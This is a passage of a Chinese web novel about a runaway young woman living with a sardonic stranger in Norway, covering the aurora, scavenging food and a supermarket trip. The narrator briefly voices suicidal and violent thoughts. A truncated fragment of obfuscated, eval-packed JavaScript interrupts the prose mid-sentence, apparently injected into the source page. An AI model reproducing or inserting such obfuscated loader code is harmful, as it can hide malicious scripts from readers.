大概三十分钟(非常大概,我说了我对时间的感知能力非常差),我故意将呼吸声压的十分沉重,睡姿略有放松,最早一次这样瞒天过海还是初中时住校,在被窝里偷偷用mp3看言情小说,耳听六路眼观八分地糊弄查寝阿姨。 可是我用尽浑身解数,身上那股被凝视的异样感依旧存在,甚至,具像化为粗糙的手掌——先是附上我的腰,以此为起始点,往上平移,最后停在我的胸口。 我想起了他威胁我的那些话,难不成真想从我这捞块肉吃?就算是这样,他也该光明正大些才是,我不仅不会拒绝,还乐得多一张脸皮在这多赖几天。 当然,他不喜欢光明正大,喜欢偷鸡摸狗,我也能配合,欲情故纵的戏码我再熟练不过。 就在我静候他继续往下深入的时候,他收回了手。 “别装了,”讥讽的翻译官说,“我知道你没睡。” “……” 我纹丝不动,从装睡到装死只需要一点点羞耻。 “醒来,带你去看极光。” 我醒了。 4. 第 4 章 睁开眼坐起来的那一刻,我想到他很有可能是在诈我,用一句诱饵揭穿我装睡的事实,但当我看到他真的穿上羽绒外套和驼色靴子,并抛给我他的另一件大衣催促我披上的时候,我反而一时间反应不过来。我被骗过太多次了,在“承诺”上栽过不少跟头。 我的围巾已经干了,外套和鞋子还湿着,我趁他没注意,在玄关处一边慢吞吞地系围巾,一边鬼鬼祟祟地把脚伸进他的靴子里。当然,和他不是同一双,是另一双黑色的中短靴,尺码十分嚣张,感觉挤一挤我两只脚都能放进去,但那样我和海的女儿就没区别了。 他走在前面,一开门,我的眼前豁然开朗,心脏怦怦不停地跳动。 我在图册里看到过极光的原理,是太阳风突破地球磁场和大气层产生摩擦,那时我满脑子打架斗殴的场景,想象极光飘起来一定和信号不好的电视机雪花一样坎坷。可是不是的,亲爱的,不是的,它是太阳向地球伸出的援手,是人类窥探银河的升降台,是我的梦。 我看呆了,立在原地。 eon.”他回过头对我说,已经距我十米远。 我跟上去,始终仰着头,如饥似渴地欣赏眼前的美景。 海滩上的雪更加松软,他沿着海岸线走,在一艘黄色皮划艇前停下,从里面掏出一件救生衣。 在挪威有座面积客观的房子,又有一艘小皮艇,他肯定不缺钱财,却活得像个每天买醉混日子的流浪汉。他实在谜底重重。 由于只有一件救生衣,他让我穿上,抛进我怀里后自顾自地检查皮艇装备。然而,孰轻孰重我分得清,这是他的地盘,也是他的所有物,虽然生命不分贵贱,但是鸠占鹊巢又是另一回事了。所以我过去扯了扯他的衣角,把救生衣还给他。 他总是很快地失去耐心,此刻也是一样,完全不理会我的请求,二话不说地把救生衣套到我头上,抽皮带似的抽出我的两条胳膊,拉紧搭扣绳,将我裹得密不透风,打包送上船。他酷爱直蹦主题。 我不会用浆,皮艇滑离岸边时摇摇晃晃,我的双手不由自主地寻找安全感,死死抱住救生衣。 我闻到一股又香又臭的气味,就在我们的周围,好像近在咫尺又好像远在天边。他滑开一段距离后放慢了速度,给我指山顶的方向。 新的角度又让我见识到不一样的东西,天空更加开阔,极光交相辉映,一瞬间惭愧和怜悯两种情绪在我心里交织。我认为让疾苦的灵魂看到如此美景是一件不值当的买卖,正因为无药可救,才更应该要避开那些精贵难得的景色。可如今我的眼睛得到了,记忆里存下了,算得上天上掉馅饼,我诚惶诚恐地咬下一口,恍惚地回想怎么会变成这个样子。 我和他相对而坐,却没注意这之后他是否再次起桨划船又或是做了别的什么,我的视线没离开过天空,舍不得,我舍不得。 在海上漂泊了许久,我好像进入了一种半梦半醒的状态,倚靠在皮艇上,半阖上眼,又猛地睁开眼,反反复复,到最后我已经不确定一抖搜的是我的眼睛,还是神经。 但我确定,我做了一个梦。我几乎每场睡眠都要做梦,有时是假想,有时是现实。 大概在我三四岁的年纪,我踮起脚伸长手已经能够到门把手,走路也走得像模像样。那时候拉屎撒尿还不需要用计谋,有感觉了直接释放即可,有纸尿裤兜着。正因为如此,我被限制在卧室里,玩他们的衣服裤子,玩他们的相册,玩他们给我买的唯一的玩具拨浪鼓。我坐在地上,透过窗户可以看见一片湛蓝的天空,或者星空。没错,那时的我完全是一只井底之蛙。 那对夫妻轮流监管我,谁有空谁留下,他们和我共处一室的唯一宗旨就是别让我钻空子溜出门,只要我不走丢,他们作为父母的责任就足够圆满。 我还挺聪明的,在理解事物运作规律的能力上很有悟性,在很短的时间里学会了如何开门。我模仿他们拉下门把手,往里拉,门就开了。我大刀阔斧高高兴兴地走出门,以为自己探索到了新的天地,然而转头就被抓回卧室,眼睁睁看着那道门再次合上。 我出门,被抓回来。出门,被抓回来。出门,被抓回来。 直到有一天,我发现用同样的方法再也无法打开那扇门。 我嚎啕大哭,哭得面容扭曲,眼睛不是眼睛,鼻子不是鼻子,口水直流,两只手吊在门把手上,用尽全身力气往下拉,发出尖锐的哭喊,不明白为什么行不通。尤其在我已经见识过外面的天地有多宽阔的情况下,无论如何也不明白我做错了什么非得被关在这里。 为什么不让我出去呢?为什么行不通了呢?为什么那么难过呢?为什么呢? 那是我人生第一次,出于情绪的苦楚而掉眼泪。 在我还无法适应生理痛苦的年纪,就已经尝到了心理痛苦的滋味。 再长大一点我就明白了,原来世界上的所有门都可以上锁。 …… 我果然睡着了,恬不知耻地把他的皮划艇当作摇篮在里头呼呼大睡,醒来时发现自己又回到了熟悉的沙发。他抱我回来的时候一定又不耐烦了,也一定发现了我偷穿他的靴子。 他说过今天无论如何都要送我去警察局。不好,我需要在警察下班之前躲避风头。 天色尚且朦胧,我不顾时辰,穿戴整齐,围上围巾戴好帽子,蹑手蹑脚地走向玄关。那双被我偷穿过的黑靴子东倒西歪地洒在地上,他没有就此藏起来,很有可能他昨晚发现后对着我的睡颜臭骂了几句,抓着我的小腿把鞋晃下来,然后便再也没有管它。 一回生二回熟,黑靴子又套在了我的脚上。就在我起身之际,我听到沉沉的呼噜声,吓得我一动不敢动。原来他不是不打呼噜,是那会儿压根没睡,有我一个可疑女人在屋檐下,他的谨慎不许他睡。 我摸索门把手,轻声出门,轻声关门,轻声吸气呼气,往街道上走。 天空飘着小雪,细微的风卷着困倦随意地飘。街道上的路灯还亮着,当属挪威最恪尽职守的功臣。海上传来海鸥此起彼伏的鸣叫,以及翅膀扑噜噜地拍打在水面上的声音。 地面非常湿滑,大码的靴子使我走得更加吃力,我甚至想过捏个雪球塞进去挤一挤,没有办法,我只好通过东张西望来转移注意力。 时不时有三两辆车子经过,向我后方开去,每每这时我都要回头看一看他的房子,那座红木屋在我的视野里一步步熬成了红豆。还有昨晚他指给我的极光下的山,从我现在的角度看去能看到全貌,像老人院里白了头又驼了背的耄耋老人。 徒步大约一公里后,我的肚子终于幡然醒悟它的宿主在昨晚吃掉一片火腿肠后再也没有往里面投入食物,而嗅觉带来的是泥土和雪花杂交的味道,并且伴随隐隐绰绰的鱼腥味。我的器官几乎快要散架。 前方距我半条街道的电线杆旁有三个垃圾桶,从受理范围看它掌管着周围至少三户人家的垃圾。这会儿没什么人,滑过去的车辆更不会注意到全身包裹只露出一只眼睛的我。是时候寻找真正的归属了。 我过马路,蹲下就地取材捏了一抔干净雪球。我的技术很好,以前上门做家教的时候给学生包过小笼包,我想雪球也是一样。 我咬了一口,它瞬间在我的口腔里化成雪水。挪威的雪,品质值得推荐,质地绵密,入口即化,富含大自然的味道,让人联想到鱼群翻腾被天敌捕猎最后鸟儿在空中随地大小便的场景。 一坨雪球在我走到垃圾桶跟前时刚好吃完,顺利开胃。我掀开垃圾桶的盖子,感叹今天自己的运气真好。里面有一块被打翻的水果蛋糕,有包装兜着,还算干净。我又找到一块没拆封的黑巧克力,哦上帝,是哪家外国友人那么爱吃甜食。 我见好就收,拿走蛋糕和巧克力找了个舒服的位置坐下来用餐。 人生第一回,坐在路边吃垃圾。 蛋糕里的芒果和奶油混合,尝起来明显有一股酸味,但这种酸味我是熟悉的,与之相配的还有一味料是过期海鲜在冰箱里发霉的腥味。 由于是捡来的垃圾,我没有用餐工具,吃相十分原始。我从舔一舔,到一口一口咬,到最后使劲往嘴里塞,脑子里特地配了一首生日歌来应景。一如小时候家里停电,我怕浪费粮食,把冰箱里的食物全部吃完的样子。 好多人说吃甜食能让人开心起来,可是我好难受,越吃越难受。我清清楚楚地明白一切的根源是那对该死的夫妻,却还是要眼睁睁地看着自己做出不应该做的应激行为。我没有得到过爱,所以曾给出去好多爱,可是没有人送过我一块蛋糕或者一块巧克力,活到现在我才知道这些东西还可以在垃圾桶里捡到。 我也曾给出去好多恨,恨杳无音讯的生母,恨言而无信的生父,恨一切谎言和强迫。那些我饿肚子时无论如何也找不到的食物,总有一天要亲自从他们身上一块肉一块肉的咬回来。 从被迫停药的那一天起,我就做好了接纳杀意的准备,杀了我自己,或者杀了他们。 原来如此,原来如此…… 两滴眼泪滴进蛋糕里成为食用盐的替代品,我在这一刻茅塞顿开。 两个决定我下意识先选择了第一个,所以才坐在这里一边吃垃圾,一边忌惮那个男人把我丢给警察。 不行,我要走得再远一点,万一我被警察抓住后,被遣送回国,最终本人是个神经病的故事被广而告之,那个场景我光想想鸡皮疙瘩都要掉一地。 我无法从天色判断时辰,更不知道如何用身体感知时间的流逝,反正雪地躺了,垃圾吃了,周围的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我冲上去拦下垃圾车,远远指着行李箱不顾形象地大喊:“喂——!那是我的东西!那是我的!” 司机探出头张望,瞧见和轮胎一般高的我(从他的视角看去大概是这样),见我发了疯地朝垃圾大喊大叫,赶苍蝇似的挥手让我走开。 完了,我听不懂他说话,他也听不懂我说话。 绝处逢生激发潜力不无道理,情急之下我喊道:“Thatismypackage!Hey!Pleasestop!Mypackage!” 有用,很有用。司机下车,与我交谈。 “Whatdoyoumean?Yourpackage?”他满脸困惑地问。 “Yes!Thatone!CanIgothere?”我满脸激动地反问。 “What?!” 他还是不懂我的急切,不管了,我决定自食其力做个女强人。我张牙舞爪地爬上垃圾车,司机瞬间被惊得嗓音拔高一个度,用高亢地语调阻止我:“Areyoucrazy?!Stop!”一边抓住我的脚要拉我下去。我不可能乖乖就范,眼里只有我最后的家当。 他的手臂有我小腿粗,力气自然更胜一筹,好在我有巧劲,轻松踹开靴子,来了一招金蝉脱壳,像只断尾逃跑的壁虎钻进一堆垃圾里。 我一把抱住行李箱,对着司机明媚地笑:“Thisismypackage!Thankyouverymuch!” 不料司机的脸色已然沉入海底,捂着鼻子指控我:“Youthief!” 不妙不妙,我竟然甩靴子甩到人家脸上了。我讪讪地笑笑,拖着箱子爬下去解释。 首先九十度鞠躬道歉,其次摘下围巾替他擦拭脸庞,然后运用毕生绝学证明这真是我的箱子,只不过遭小人暗算沦落至此,最后牺牲两包康师傅方便面换回了我的行李箱。 经过一番智取我的脑子开了光似的火热,产生一个坚决的念头:找小人算账。 没错,我拖着行李箱原路返回,裹着双脚的衣物和袜子一点一点浸透进融化的雪水——如果非要有一样东西进垃圾车的话,那也是他的靴子,绝不能是我的箱子——我双脚冻得冰冷,比刚来这的那天有过之无不及。 凭什么丢我行李箱,凭什么丢我行李箱! 这一句殖民了我整个大脑的埋怨和质问,竟然真的支撑着我回到了那座红漆木屋,同样的脚印被我重新踏了一遭。 我用力拍门,击鼓鸣冤似的砰砰作响,门不开我不歇。 门开了,屋内的暖气打在我脸上,我又见到了那张联合国模样的脸。他仍旧穿着昨晚那身,灰色中领毛衣,抽绳式棉质休闲裤,不过此时是赤脚,手里拿着一块被咬了一口的三明治。他看见是我有一瞬的惊讶,但很快漫不经心起来,心胸宽阔地嚼嘴巴。 我怒发冲冠,从牙缝里挤出来一句:“I、HATE、YOU.” 他愣了一下,至少口腔里的三明治残骸短暂地安详了一下,随后他勾起半边笑,继续嚼吧,说:“SoyoucanspeakEnglishhuh?” 5. 第 5 章 我鼓起眼睛瞪他,把身后的行李箱拉到我和他之间,拍三下,继续瞪他。 “啊——”他明了,却恬不知耻地反问:“你从哪里找到它的?” 磕磕绊绊的英文口语将我的气势消减了一大半:“垃圾车。我挖出来的。你为什么要扔掉它?” 他耸了耸肩,无所谓道:“我以为你走了。” “……” 我无言以对,百口莫辩,总不能坦白我在短暂逃跑,把他家当旅馆一样既要吃霸王餐还要住霸王房。 他的眼神在我委屈又较劲的表情上流转,递过来生菜和火腿在两片吐司里面生根发芽又瞬间枯萎的粗糙三明治,问道:“想要这个吗?” 我此时恰好有撕咬的欲望,两手抓住他的手腕,尽我所能地张开嘴巴,下颚恨不得扭开一百八度,埋下头,将至少半块三明治塞进了嘴里。我以为他还加了香肠,等到他吃痛地提溜起我后颈的软肉,我才知道那是他的大拇指。 老实说,我的咬合力不是开玩笑的,想必他大拇指上的咬痕不亚于被一辆大卡车碾过去。他匆匆拽我进门,嘴里骂天骂地,把没吃完的三明治抛给我,然后独自进厨房鼓捣。 三明治我吃得美滋滋,边吃边跟上去看他在做什么——一份新的、用料丰富的、更加美味可口的三明治,他甚至有耐心涂花生酱。 他注意到望眼欲穿的我,哼笑一声用胳膊肘推开我,刻薄地说道:“想都别想。” 大丈夫能屈能伸,我立马诚恳地道歉:“I’msorry.” “Noway.”他当着我的面咬了一大口加了三层培根的三明治。 他比我还要记仇,并且有仇当场报,来硬的我不会是他的对手,所以我想到了一个办法。 原本用于维持本人生命体征的七包方便面现在只剩下了五包,舍不得孩子套不着狼,我有强烈的文化自信让红烧牛肉味调料包抓住每个洋人的味蕾。 “我请你吃中国传统美食,你收留我一星期好吗?”我和他商量。 他没个正型地用胯靠着洗手台,反问:“包子?还是饺子?” “……”刻板印象都快扎到我面前来了,我说:“不是,是一种面。但如果你想吃的话,我也会做包子和饺子,还有麻婆豆腐,宫保鸡丁,北京烤鸭。”这就叫草船借箭,我机灵的小脑袋合理运用了他的刻板印象,即使那些东西我不全会做。 “真的?”他上下打量我,“Showme.” 我小跑着去拿行李箱,取出两包方便面,表明要借用一下他的锅。他一眼认出了这种蜷曲的速食面饼,在一旁不以为意地指指点点。然而撕开调料包那一下香味四溢,堵住了那张没礼貌的嘴。 我用他煎好的剩余的培根代替红烧牛肉面里失踪的牛肉,为了照顾洋人吃生菜的原始习惯,我只烫了自己的那份生菜。表面上我精打细算地平均分配三块面饼,实际上暗戳戳掂量着他那份多一点汤水,我抠得要命。 “请。”我做了一个手势。 我和他相对而坐,同步开启第一口。 一股温暖新鲜的,蕴含满满乡愁的泉涌从我的舌尖流进我的胃,我仿佛遇见了一位故人,我们从不嫌弃彼此的寒酸和窘迫,我们心心相印但我们阴阳两隔。 当我还在依依不舍地用舌尖留住每一口味道的时候,对面巨型工厂式的吸食已经接近尾声。他单手端起碗,连汤也不放过,喉结上下滚动,咕咚咕咚地喝下,武松上山打虎前喝的那十八碗壮胆酒也没有他这样豪迈。 他的架势属实吓到我了,我十分担心他不讲武德把我这份也抢走,于是顾不得回味,狼吞虎咽起来,免不得被呛到。 “咳咳!咳咳咳!”我一边咳,一边贪心地咽下已经到嘴的食物。 他站起来走开,给我留下一个头衔:“饿死鬼。” 余光里,他将窗户开出一条缝,按下打火机点燃一支烟,猛吸了一口,吐出一团烟雾,一手夹着烟,另一只手拎起玻璃杯接自来水——是的,他直接喝下了水龙头里流出来的自来水。 想想也是,这里连垃圾箱都干净得要命,何况自来水。 我不再囫囵吞枣,小口啜饮汤汁。 “你刚刚去哪了?”他突然问道,叼着烟。 我用余光瞥了他一眼,没作答,捧着碗继续喝汤。 “又成哑巴了?”他走过来,踢了踢我的小腿,“你的袜子还在滴水。” 我没辙,说:“只是散步。” “散步?不穿鞋散步是中国的传统吗?” “是我的传统。”我硬着头皮说。 他眯起眼往我脸上吐了一团烟,我曾在烟火燎原的棋牌室写过作业,所以此刻能做到眼睛都不眨一下。他把烟头捻熄在烟灰缸里,指挥道:“把袜子丢了,然后把你的脚放进锅里煮一煮,别再发烧了。” 当着他的面我完全不敢造次,只得点点头。 …… 一回生二回熟,用起浴室来我有条不紊,坐在马桶上用热水冲自己的脚。冻的得太久,皮肤已经有明显的龟裂痕迹,脚拇指出现年轮一样的褶皱。冷也好,热也好,痛也好,舒服也好,我除了全盘皆收也没别的门路。 我光脚从浴室里出来这一幕前不久才出现过,我以为以同样的路径走向客厅能看到同样的场景,比如说有一个人躺在沙发上一边喝酒一边看书。然而他不在沙发上,而是从我身后的卧室走出来。 他换了一身出门的打扮,黑色大衣在他魁梧的肩膀上显得十分挺拔。一个行事邋遢随性的人竟然也非常适合大衣这种条条框框的服饰,令我感到意外。 “你要去上班了吗?”我问。 他整理衣领,说:“上班?在挪威你不上班也有钱拿。” “多少钱?” “大概两千美元?相当于多少ChineseYUAN我就不知道了。” 我羡慕极了,小碎步跑到他面前,仰着头追问:“你是怎么成为挪威人的?” 由于我挡住了他的去路,他绕过我,到处找他的围巾,昨晚被随手丢在不知道哪个角落。 “娶一个挪威老女人,然后等她死。你看到我的围巾了吗?” 我寸步不离地跟在他后面,说:“可能在门口。所以你结婚了?” 他果真在玄关处找到了围巾,瞥了我一眼:“Guess.” “你去哪儿?”我有点心慌。 “超市。” “请带上我。”我去找自己的外套,频频回头确认他还没走。 他又在玄关翻找起什么来,打开鞋柜又关上,问:“我的靴子呢?” 我一激灵,只敢在没人的时候叫嚣,装作不知道:“在你脚上。” 他看向我,仿佛洞悉了一切,“不是这双。” “不知道。”我仍旧负隅顽抗。 他就那样凝视了我许久,直到我整装待发,只差临门一脚踏进那双十足合脚但仍半湿的雪地靴,他制止了我。 “你真是人鱼吗?非得把脚泡水里。” 说着,他从鞋柜里任意挑了一双短靴。原来他还有那么多靴子,不同款式,鞋码似乎也不一样,唯一的共同点是都是男式。他命令我捎上两团袜子一起穿进去,鞋带勒得越紧越好。 我努力跟上他,仿佛拖着两台巨型卡车的轮胎,又或是谁匍匐在地上专门抓我的脚踝,总之比我一个人散步时要吃力得多,而他也没打算配合我的脚步。 如果我一个不留神摔倒了或者速度慢下来了,我怀疑他大有可能抛下我不管。所以在他开车门的同一时刻,我便迫不及待地爬上了副驾驶座。 “你是怎么找到挪威老婆的?”我接上没谈完的问题。 他看也没看我一眼,面无表情地说:“我是Gay,她是跨性别者。” 我沉默片刻,又问:“真的吗?” 他这才荒唐地看了我一眼,“你看过医生吗?关于你的脑子。” 我不知道他怎么误打误撞知道了我想带进棺材里的秘密,但我至少得回应他的关心。 “看过,有一点麻烦。” 兴许我的真诚打动了他,他终于认真解答我的疑惑:“我在挪威工作了三年,朋友帮忙搞定的房子和差事,很老的朋友,老得可以领各种补助金,但没老到要死的地步,看到女人裸.体还能竖大拇指,尽管这是他的一面之词。” 他的语速有些快,个别词我听的不是很确切,努力消化中。 “那么你是想移民到挪威?”他问。 我摇了摇头,却不知如何作答。来到这里是一场充分发挥了主观能动性的偶然事件,在我的“从现实叛逃”计划里随机确定的目的地,抑或称之为,死无葬身之地。 后来我们都没有再说话,车子开了很久,我靠在车椅上闭目养神,只是闭目并未入睡。这幅身躯貌似在痴痴等待着什么,就差那么一小簇点燃导火线的火苗,在那东西来临之前,永远吊在悬崖边命悬一线。 车子稳稳停住,我睁开眼,眼皮竟有些涩痛,一时间不适应外面友善的自然光线。 “你要跟我进去还是继续在这里呼呼大睡?”他解开安全带,问我。 我用同样的动作回答他,重新驯服四肢下了车。 面前的超市比我早上徒步走到的超市大得多,牌匾是浓墨重彩的深蓝色,和我的行李箱颜色一样。他拉来一辆购物车,径直走向生鲜区。冷冻柜里的鱼肉看起来十分坦白,他几乎没怎么挑,拿到什么是什么,也从不回看。我在一旁偷偷将手伸进去,戳保鲜膜下的嫩肉,又在他抛来鄙夷的目光前收手。 我看到一面全是酸奶和雪糕的柜子,不禁驻足痴念。小时候,没错,又是小时候,我这般痴念的眼神投注的地方是弟弟的嘴角。 “我们的小甜心有了三明治还不够,还想吃冰淇淋呢。”耳边传来阴阳怪气的声音。 我撇了撇嘴,表示不接受这顶烂帽子。他不可能给我买,我也不可能向他撒娇,冰淇淋和生日蛋糕一样,在我这早就被划到了祭品的行列里。 绕了超市一圈,他又拿了很多种绿色蔬菜和土豆,还有一袋面粉,一小包应该是酵母的玩意儿。我心里暗道不妙,他貌似真打算让我做饺子包子给他吃。如果真到那时候,我一定要以一个 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“前几天暴风雪,道路积雪把小镇堵成了监狱,Well,虽然这世界本来就是个臭到极致的监狱。” “你真是幸运,我本来想着,如果来这的路上碰到清雪车的话,我就找个机会把你丢了,然后原路返回。那玩意儿没有个两三个小时根本结束不了,我讨厌麻烦。” “看,看那老头子的步伐,当这里是北极。” “你在看什么?又睡着了?”他翁下腰把脸凑过来,和我的视线撞个正着。 我完全没听他叽里呱啦地用那副烟嗓子说了什么,一直垂头观察前面抱着一袋面包安静排队的小孩。 小孩独自来逛超市,他的家在不在附近我不知道,但我知道他的家一定有温暖的壁炉和一条更加温暖的大型犬,每天早晨由母亲甜蜜温柔的亲吻唤醒,父亲会让他骑在自己头上,然后在天气极好的周末全家人一起出去野餐。爱让人勇敢,向来如此。 突然我被捏住了脸颊,被迫仰起头,那位愤世嫉俗的房东不满地看着我,说:“给点反应。” 我想起刚刚“文雅地跪地求饶”的誓言,于是说:“Youarealwaysright.” 收银台的进度救了我一命,他只是怏怏地冲我使了个眼色,便推着购物车向前一步走。 可我没想到凌迟来得这样快,他的手机响了,走到一旁接电话,我和一辆即将见底的购物车留守在原地。原先嫌节奏慢的我现在冷汗直流,心里默默希望收银员女士能再次犯错。 我身无分文,并且人模狗样,早上偷吃了一块水果蛋糕和一块巧克力,还狠狠地踹了伟大的环保工作者一脚,如果现在又犯下逛超市不给钱的罪状,那么挪威警察将义不容辞地请我去喝茶。 天呢,是谁的电话如此重要? 我焦虑地向他那边张望,又焦虑地盯着商品何时扫完,无助的我犹如冰箱底下被粘住四肢无法逃逸的老鼠。 秒针滴答滴答激流勇进似的在我脑海里旋转,终究迎来了飞腾而起在空中滞留的那一刻,便是收银员女士抬眸凝视我的那一刻。 “等…请等一下……”我说。 她给了我一个安心的微笑,但我再怎么努力也无法感到安心,给人添麻烦使我感到焦虑。 我站在原地想喊他,却发现一个致命的问题,我不知道他的名字。 “抱歉……我的朋友很忙,我去提醒他一下,十分抱歉。” 说完,我气鼓鼓地走过去,想直接拽着他走,却撼动不了他分毫。 “那么你又想得到什么样的结果呢?找到了我你又能怎么做呢?Gavin已经完全对你言听计从了吧,还是Kevin,或者是Gay-vin,随便。” 他一边打着电话一边垂眸看我,摆出一副很欠揍的笑。那位被玷污了姓名的“some-vin”同志此时应该和我一样咬牙切齿。 总而言之,他又在和前女友唇枪舌剑。这都什么时候了?那么多人在后面等着呢,就因为你一个人打电话耽误了,损失谁来负责? 后来我回想,当时队伍里只有两个人排在后面,至于损失更是没有根据,一切只是源于我爱制造包袱的扭曲观念。 “先去付钱好吗?”我乞求道。 他敷衍地点点头,仍旧对电话那头说:“你也该适可而止了,换一支手机号码十分麻烦。” 可是对方没有休止的迹象,他也不挂。我算是看出来了,余情未了的人分明是他,可以毫不犹豫地丢掉奄奄一息之人的行李,却不能当机立断地挂掉前女友电话。 没轻没重的男人。 我火气上来了,一把夺过他的手机,一顿输出:“Shutf**kupyoub**ch!!”迅速按下挂断键,瞪着眼睛展示给他看,指尖小小的动作是多么easy。要问我冒犯到他前女友了吗?完全没有。那句话我可是从他嘴里照搬过来的,要说冒犯,我也与他同担罪名。 因为这个举动,我第一次在他脸上看到了惊艳的表情——他上下打量我仿佛刮目相看,然后抑扬顿挫地吐出一句: “You’resexy!” 有病。 6. 第 6 章 我终归顺利地从超市全身而退,而他非但满载而归,还在给了我一个不怀好意的调笑之后冠冕堂皇地让我提两袋又沉又硌手的购物袋。我一言不发,使劲把脸埋进衣领,无论他怎样戏弄我,我都打算沉默到底。 比他阴魂不散的语言更加令我烦躁的是他口袋里响个不停的手机铃声,循环往复永无止境,寥寥几个音调颠来倒去地播放,和周末的除草机一样令人抓狂。 我干脆停下脚步,一字一顿地说道:“接电话。” 然而他也停下来,手机铃声也停下来,好像所有人和物都在看我表演,只是看,没有一个配合。 我感到无语,继续闷头走向车子,结果我一走,铃声再次响起,他的戏弄也再次响起。 “Anyway,你知道她是谁吗?”他越来越靠近我,故意将我往道路边缘挤,企图让我无处可逃。 “你的前任。”我说,加快脚步。 “你怎么知道?” “猜的。” 总算回到车子前,他打开后备箱,我利索地放下购物袋,捏了捏指关节处的软肉,听见他问:“Seriously,what’sthat?ChineseKongFu?” 我抬头,看见他一只手搭在盖板上,另一只手叉着胯,倒真是一脸疑惑,散发一股吊儿郎当的愚蠢。那一瞬间我的气全消了,虽然本身也不值得生多大的气,但我无法预料自己的情绪,来的快去的也快,全看什么东西会按下我脑子里的“switch”键。 我展开微笑,和善的,轻飘飘的。他更加云里雾里,一副见鬼的表情别提有多好笑。 “Weird…” 他总算舍得关掉手机铃声,并且拉黑了对方还是怎样,总之铃声再也没响起过,大自然简朴清新的声音久违地净化了耳朵。 好景不长的是,我刚坐上副驾关起门,便连打了三个喷嚏,颅内氧气都被打了出去,我感到一阵眩晕,虚浮地靠在椅背上。 他嫌弃地抽了几张纸递给我,不忘对我使用修辞手法:“你真像个消化不良的章鱼。” 我用力擤出鼻涕,含糊不清地说:“我听不懂。” 他哼哼地启动引擎,雨刮器懒懒散散地刮了两下挡风玻璃。建筑往后倒去,我凭借眩晕的惯性就此沉下呼吸。这个地方少有阳光,从某种程度上来说改善了我的睡眠,在人声鼎沸的城市里我整夜整夜的和各种动静作对,而在这里,每片雪花每滴雨水都是一首摇篮曲,让我很快迷糊了眼睛和耳朵。 我透过摇摇欲坠的眼皮看着窗外,车子突然停止了前进,我转过头用眼神无声询问,只见他双手抓着方向盘,身子前倾,下巴搁在手背上,不忿地喃喃。 “该死,这群人现在知道出来工作了,有什么好清理的,油门一踩直接开过去得了。” 原来前面那辆挡在路中间的大卡车正在清雪,轮胎被卡在道路边上的积雪里,无法掉头,无可奈何成了史上最庞然的路障。而他之所以能够粗鲁地对其说三道四,是因为他的车底盘高而且越野能力卓越,驾驶员又奉行横冲直撞的原则,基本没有什么路况能难倒他,除了眼下这种直接把路阻断的情况。 他放下车窗把头探出去,喊来清雪的工作人员,问还有多久才能保证行路通畅,被告知还有一个多小时,他果断换档掉头。他从正副座驾的中间往后瞧,笔直地倒车,用掌心转动方向盘,换档的声音咯咯作响,全都说明了他不耐烦的心情。 我以为他会另找出路,结果他随便找了个能停车的地方就地安顿,一脸“你惨了”的表情对我说:“我们要死在这里了。” 他真是喜欢夸大其词,我点点头,说:“这是我计划好的。” “……” 每次我不吃他的恐吓和黑色幽默,他都是这个反应:皱起眉,咬牙,对我感到匪夷所思。 他啧了啧嘴,从车门的卡槽里拿出一包烟,抛进一根到嘴里,正准备开门,我说:“你可以在这里抽。” 他回头眯眼看我,取下未点燃的烟,竟直接递给我,问:“你要来一点?” 我垂眸盯看他指间的香烟,我见过它们散成雾挤满整个房间的样子,也见过它们熄成灰落在卫生间马桶里的样子,还有粘在衣服和皮肤上怎么洗也洗不掉的味道。烟是我爸二十多年的瘾,也是我从出生起便一直伴随着的慢性病。我与烟草一起长大,却只是点头之交。 在我出神之际,他十分干脆地把烟塞进了我嘴里,我瞪大眼睛,没来得及做反抗,眼前已经飘起了一缕烟。 “不客气。”他说,给自己也点了一根。 我根本不会抽烟,见过猪跑但没吃过猪肉,本想拿走,可是看到他把椅背往后调,随着一团烟云散开,他松快地呻吟了一声,我不由得对这一令人成瘾之物产生了好奇。反正活不了多久,试试也无妨,试试流着不堪血液的我,会不会继承老爸的不堪基因。 于是我学着他的样子猛吸了一口,几乎是一瞬间,我感觉突然被人捏紧了嗓子眼,鼻腔和喉咙掀起一阵沙尘暴,我不受控制地咳嗽,呛出了鼻水。 “咳咳!咳咳咳咳!!”我停不下来,烟头被我抖落一屑灰。 “怎么回事,你不会抽烟?”他皱起眉,夺走了我手里的罪魁祸首,抛出窗外。 我摇摇头,咳嗽是止住了,但眼角的泪水还楚楚可怜地挂着,心里对烟草的怨恨达到了顶峰。 “为什么不告诉我?” 破天荒地,我竟从他的语气中听出了一丝懊恼,明明行云流水般自然地把烟塞进我嘴里的家伙就是他。 “你没给我机会。”我说。 “……”他掐灭了烟,在空中挥了挥散去氤氲,自言自语似的小声批评道:“坏习惯。” 有一种神奇的流体叫做非牛顿流体,静则柔为流水,击则硬如钢铁,和欺软怕硬截然相反——我找不出相应的反义词,不过应该和尊老爱幼一个道理。我似乎就是这种流体,受到打击会变得异常顽固,受到关心又会心软得一塌糊涂。即使他丢掉没抽干净的香烟这一举动并非完全出于关心,我也产生了一丝动容。 我缓慢且努力地向他解释道:“我的父亲,他喜欢抽烟,抽了很多年,在我出生前就开始了。所以,我能习惯这个味道。你不用考虑我,feelfree。” 除了宫保鸡丁那会儿求生欲爆满的时候,这一句是我在他面前说得最长的一句话。我的英语水平真的不怎么样,再多的证书也盖不住我声带里的自卑,一说长句子就露怯。 好在他不在乎这些,侧身而坐,胳膊肘抵在椅背上,问:“你的父亲?他知道你离家出走了吗?” 原来是还未打消驱赶我的念头。我说:“他不知道,我和他的关系很差。” “有多差?就算你死在这他也不在乎?” “那就是他的事了,我不知道。” 他撇了撇嘴,重新躺下去。我也想那样有个舒服的姿势,于是往座椅和车门的夹缝中寻找可以调节座椅的把手。找到了,但我无论怎么掰弄它椅背都纹丝不动。我的狼狈引起了他的注意,他凑过身来,伸手越过我的大腿,我下意识紧贴靠背屏住呼吸,以保证不和他磕着碰着。 他一手勾起藏在更后面的把手,一手撑在距我肩膀仅有两厘米的地方,用力按下椅背,我像病床上垂死挣扎的植物人,瞪着一双眼睛直直倒下。留给我的空间不算多,只好尽可能的把所有组织器官挤进座椅里。我与他双眸对视,余光里是他宽厚的肩膀,雪落下来会积攒在房檐上的那种户型。 事已至此,我还是不禁感叹,他的眼睛也如缅因猫一样犀利而美丽。它会迈着笔直的步伐目不转睛地向你走来,注视是无声的命令,偏开目光, 